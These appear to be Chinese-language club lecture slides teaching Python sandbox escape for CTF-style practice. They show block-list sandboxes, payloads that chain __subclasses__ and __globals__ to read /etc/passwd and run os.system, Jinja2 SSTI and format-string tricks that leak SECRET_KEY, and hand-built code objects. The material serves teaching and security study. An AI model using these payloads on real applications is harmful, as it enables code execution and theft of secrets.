
# 欸,你懂 Python 嗎
---
## 這是一堂怎樣的社課?
- 這不是 Python 入門課
- 假定大家都已經有基礎的 Python 知識
- 聊一些平常寫 Python 可能不會知道的運作細節
- Python2.7 為主要示範版本
----
### 預備動作
抓下來ㄅ
https://github.com/splitline/py-sandbox-escape.git
---
## Sandbox Escape 是什麼
- 讓你輸入你的 python code
- 給你一些輸入/環境的限制
- 試著 RCE 或取得敏感資訊(?
---
## 那一起來做 Sandbox 吧
----
先來一個 0 防護的
```python=
# freeeee.py
while True:
try:
inp = raw_input("> ")
exec inp
except Exception, e:
print 'Exception:', e
```
----
### 然後開始吧
---
## RCE 什麼的,要做些什麼?
---
## 要怎麼執行自己想要的 Code ?
----
```python=
exec("print(7*7)") # python3
exec "print(7*7)" # python2
eval("abs(-1)")
execfile("/some/path/to/my/code.py") # python2 only
```
都是內建就有的函數
---
## 要怎麼 import library
----
最常見的
```python
import os
os.system("id")
```
```python
from os import *
system("id")
```
比較少用的
```python
__import__('os').system("id")
```
<!-- .element: class="fragment fade-in" -->
---
### 第一個 sandbox
----
### 黑名單大法!
```python=
# blacklist1.py
def check_secure(inp):
Q____Q = [
'exec',
'open',
'file',
'execfile',
'import',
'eval',
'input',
'hacker'
# and anything you want
]
for s in Q____Q:
if s in inp:
raise Exception("Sorry, '"+ s +"' is not allowed.")
while True:
try:
inp = raw_input("> ")
check_secure(inp)
ret = None
exec "ret=" + inp
if ret != None:
print ret
except Exception, e:
print 'Exception:', e
```
----
### 看起來還行?
```python=
$ python3 ./blacklist.py
> print(1)
1
> exec('print(1)')
Exception: Sorry, 'exec' is not allowed.
> import os
Exception: Sorry, 'import' is not allowed.
```
---
## 等等,內建函數?
----
### 為什麼能直接用呢?
```python=
$ python3
Python 3.7.2 (default, Jan 13 2019, 12:50:01)
[Clang 10.0.0 (clang-1000.11.45.5)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> pow(2, 10)
1024
>>> exec("print(1)")
1
```
----
### `__builtins__`
來觀察一下環境
```python=
>>> dir()
['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__']
>>> __builtins__
<module 'builtins' (built-in)>
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', [...] , 'tuple', 'type', 'vars', 'zip']
```
- `globals()`:全域變數
- `locals()`:區域變數
- `dir()`
- 無參數:返回目前 scope 中被定義的東西
- 有參數:返回該參數的所有 attribute
----
### 成功繞過限制!
```python=
__builtins__.__dict__['ex'+'ec']("print(1)")
__builtins__.__dict__['__imp'+'ort__']("os").system('id')
```
----
### 怎麼防?
----
```python=
# blacklist2.py
Q____Q = ['open',
'file',
'execfile',
'compile',
'__import__',
'eval',
'input',
# and anything you want
]
for func in Q____Q:
del __builtins__.__dict__[func]
```
看起來是防掉了?
----

----
### `reload(module)` (Py2 only)
```python=
>>> # blacklist...
>>> reload(__builtins__)
>>> import os
>>> os.system('id')
```
ok, 那還需要擋掉 `reload`
----
### 再更絕一點?
```python=
# blacklist2+.py
Q____Q = __builtins__.__dict__.keys()
Q____Q.remove('raw_input')
Q____Q.remove('print')
for x in Q____Q:
del __builtins__.__dict__[x]
```
---
## 大家都是 object
----
### 合情合理
```python=
>>> type([])
<class 'list'>
>>> type(())
<class 'tuple'>
>>> type("")
<class 'str'>
```
----
### `__mro__` 鏈
```python=
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)
>>> "".__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> "".__class__.__base__
<class 'object'>
```
最後都是回到 `<class 'object'>`
----
### 先來補一些知識
```python=
>>> class A(object):pass
>>> class B(object):pass
>>> class C(A,B):pass
>>> C.__bases__
(<class '__main__.A'>, <class '__main__.B'>)
>>> C.__mro__
(<class '__main__.C'>, <class '__main__.A'>, <class '__main__.B'>, <class 'object'>)
```
- MRO: Method Resolution Order
----
### object 的 `__subclasses__`
```python=
>>> ().__class__.__bases__[0].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>,
<class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>,
<class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>,
<class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>,
<class 'memoryview'>, <class 'tuple'>,<class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>
<class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>,
<class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>
...
```
一堆東西都是 object 的 subclass!
----
### exploit 心法
- dumps 出 subclasses
- 找到 gadget
- 一路串下去
----
### 開挖
----
### Python 2
Read file
```python=
>>> [].__class__.__base__.__subclasses__().index(file)
40
>>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
...
```
----
<!-- .slide: data-transition="none" -->
`[].__class__`
→ `<type 'list'>`
----
<!-- .slide: data-transition="none" -->
`[].__class__.__base__`
→ `<type 'object'>`
----
`[].__class__.__base__.__subclasses__()`
→ `[... , <type 'file'>, ... ]`
----
`[].__class__.__base__.__subclasses__()`
→ `<type 'file'>`
----
`[].__class__.__base__.__subclasses__()[40]`
→ `<type 'file'>`
----
`[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()`
→ `meow!!!!`
----
RCE
```python=
# /usr/lib/python2.7/warnings.py
import linecache
import sys
import types
...
```
```python=
# /usr/lib/python2.7/linecache.py
import sys
import os
...
```
```python=
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('id')
...
```
----
### Py2
`[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].__dict__['system']('id')`
----
### Python 3.7
RCE
```python=
>>> [].__class__.__bases__[0].__subclasses__()[127]
<class 'os._wrap_close'>
>>> [].__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['system']('id')
...
```
----
### 直接 fuzz
```python=
for i, item in enumerate([].__class__.__base__.__subclasses__()):
try:
if __import__("sys").argv[1] in item.__init__.__globals__:
print(i,item)
except:
pass
```
```
Usage: python(3) fuzz.py os
```
---
## Application: SSTI
恭喜 Jinja2 成為本次受害者
----
### SSTI
Server Side Template Injection
----
### Template?
從後端渲染 HTML 的模板引擎
----
### 🌰
```python=
# ssti.py
ffrom flask import Flask, render_template_string, config, request
app = Flask(__name__)
@app.route('/')
def index():
name=request.args.get('name')
template = '<h1>hello {}!<h1>'.format(name)
print(template)
return render_template_string(template)
app.run()
```
----
### How to Pwn?
- `{{ config }}`:讀後端設定,**可能會看到 SECRET_KEY**
- 像上面一樣串 mro 鏈
----
### 啊正確要怎麼寫
- 危險
- `render_template_string(html_string)`
- 比較安全
- `render_template(html_file_name, key=value)`
---
## 同場加映
### Format String Attack
----
### 聽過 Format String Attack 嗎
之後 pwn 會聊到
----
### 很方便的功能
```python=
"{1} {0} {1}".format("hello", "world")
# result: 'world hello world'
'{name} is {age} years old!'.format(name = 'Mumi', age = 14)
# result: 'Mumi is 14 years old!'
```
----
### 如果字串可控呢?
```python=
user_str = raw_input()
user_str.format(name = 'Mumi', age = 14)
```
----
### 有想到什麼嗎?
```python=
'{name} is {age.__class__} years old!' \
.format(name = 'Mumi', age = 14)
```
----
### 回到之前提過的
```python=
'{age.__class__.__base__.__subclasses__()[40]("/etc/passwd").read()}' \
.format(name = 'Mumi', age = 14)
```
----
### 沒,騙你的

fortmat string 裡不能執行 method
----
### 一個場景
```python=
CONFIG = {
'SECRET_KEY': 'super secret key'
}
class Meow(object):
pass
def format_meow(format_string, meow):
return format_string.format(meow=meow)
```
```python
{meow.__init__.__globals__[CONFIG][SECRET_KEY]}
```
----
### 另外一種 format string
```python=
userdata = {"user" : "cat", "password" : "M30W" }
passwd = raw_input("Password: ")
if (passwd != userdata["password"]):
print ("Password \"" + passwd
+ "\" is wrong for user %(user)s") % userdata
else:
print "Welcome!"
```
輸入 `%(password)s` 如何
----
### 再一種 (Py3 Only)
`f"{__import__('os').system('id')}"`
可是似乎比較少利用的場景(?)
---
## Python Bytecode
----
### function 也是 object
```python=
>>> def meow(): pass
>>> meow.__class__.__base__
<class 'object'>
```
對了,function 有一個特別的 attribute
```python=4
>>> meow.__code__
<code object meow at 0x1016db1e0, file "<stdin>", line 1>
```
----
### 怎麼生一個 function
```python=
from types import FunctionType
def my_func(): pass
FunctionType(my_func.__code__, {}, 'my_new_func')
```
`FunctionType(CodeType, globals(), 'func_name')`
----
### 怎麼拿到 function / code type object
1. `type(lambda: None)` / `type((lambda: None).__code__)`
2. 一樣在 object 的 subclass 下撈
3. `type()` 可以用 `"".__class__.__class__` 做出來
----
### 先上程式碼
```python=
func_obj = type(lambda: None)
code_obj = type((lambda: None).__code__)
magic = func_obj(code_obj(1, 1, 1, 67,
'|\x00\x00GHd\x00\x00S', (None,),
(), ('s',), 'stdin', 'f', 1, ''), {})
magic("meow?")
# output: meow?
```
這是一個簡單的 echo function
----
### Code Object (Py2)
```clike=
typedef struct {
PyObject_HEAD
int co_argcount; /* #arguments, except *args */
int co_nlocals; /* #local variables */
int co_stacksize; /* #entries needed for evaluation stack */
int co_flags; /* CO_..., see below */
PyObject *co_code; /* instruction opcodes */
PyObject *co_consts; /* list (constants used) */
PyObject *co_names; /* list of strings (names used) */
PyObject *co_varnames; /* tuple of strings (local variable names) */
PyObject *co_freevars; /* tuple of strings (free variable names) */
PyObject *co_cellvars; /* tuple of strings (cell variable names) */
/* The rest doesn't count for hash/cmp */
PyObject *co_filename; /* string (where it was loaded from) */
PyObject *co_name; /* string (name, for reference) */
int co_firstlineno; /* first source line number */
PyObject *co_lnotab; /* string (encoding addr<->lineno mapping) See
Objects/lnotab_notes.txt for details. */
void *co_zombieframe; /* for optimization only (see frameobject.c) */
PyObject *co_weakreflist; /* to support weakrefs to code objects */
} PyCodeObject;
# https://github.com/python/cpython/blob/2.7/Include/code.h#L10-L30
```
----
### Code Object (Py2 ver.)
```python=
code(argcount, nlocals, stacksize, flags, codestring,
constants, names, varnames, filename, name,
firstlineno, lnotab
[, freevars[, cellvars]])
```
都可以在 `func_name.__code__.[*]` 找到
```
Source Code: https://github.com/python/cpython/blob/2.7/Objects/codeobject.c#L9
```
----
|no.|解釋|`[*]`|
|--|- |-|
|0. | 幾個參數 (int) | `co_argcount`|
|1. | func. 的 scope 內有幾個值 (int) |`co_nlocals`|
|2. | stack 開多大 (int) | `co_stacksize`|
|3. | compile 的方式 (int) | `co_flags`|
|4. | 你的 bytecode (str) | `co_code`|
|5. | func. 的 const 值 (tuple) | `co_consts`|
----
|no.|解釋|`[*]`|
|--|- |-|
|6. | func. 有用但不在 scope 裡的變數名稱 (tuple) |`co_names`|
|7.| func. 中define的變數名稱 (tuple)| `co_varnames`|
|8.| 檔名 / `'<stdin>'` |`co_filename`|
|9.| func. 名稱 (str) |`co_name`|
|10. |第幾行開始的 (int) |`co_firstlineno`|
|11.| 行號表 (str) |`co_lnotab`|
----

----
### 好啦,超☆懶人包
```python=
def generator(func):
co = func.__code__
return """
func_obj(
code_obj(
{0},{1},{2},{3},{4},{5},{6},{7},{8},{9},{10},{11}
), {{}})""".format(co.co_argcount, co.co_nlocals, co.co_stacksize,
co.co_flags, repr(co.co_code), repr(co.co_consts), repr(co.co_names),
repr(co.co_varnames), repr(co.co_filename), repr(co.co_name), co.co_firstlineno,
repr("")).replace("\n","")
```
----
### 他怎麼跑起來的啊
```python=
>>> def a(): pass
>>> import dis
>>> dis.dis(a.__code__.co_code)
0 LOAD_CONST 0 (0)
2 RETURN_VALUE
```
現在來玩玩 `final.py`
----
## 延伸閱讀
### 操控 co_code pwn 掉 python
https://www.anquanke.com/post/id/86366
---
# 結論(?)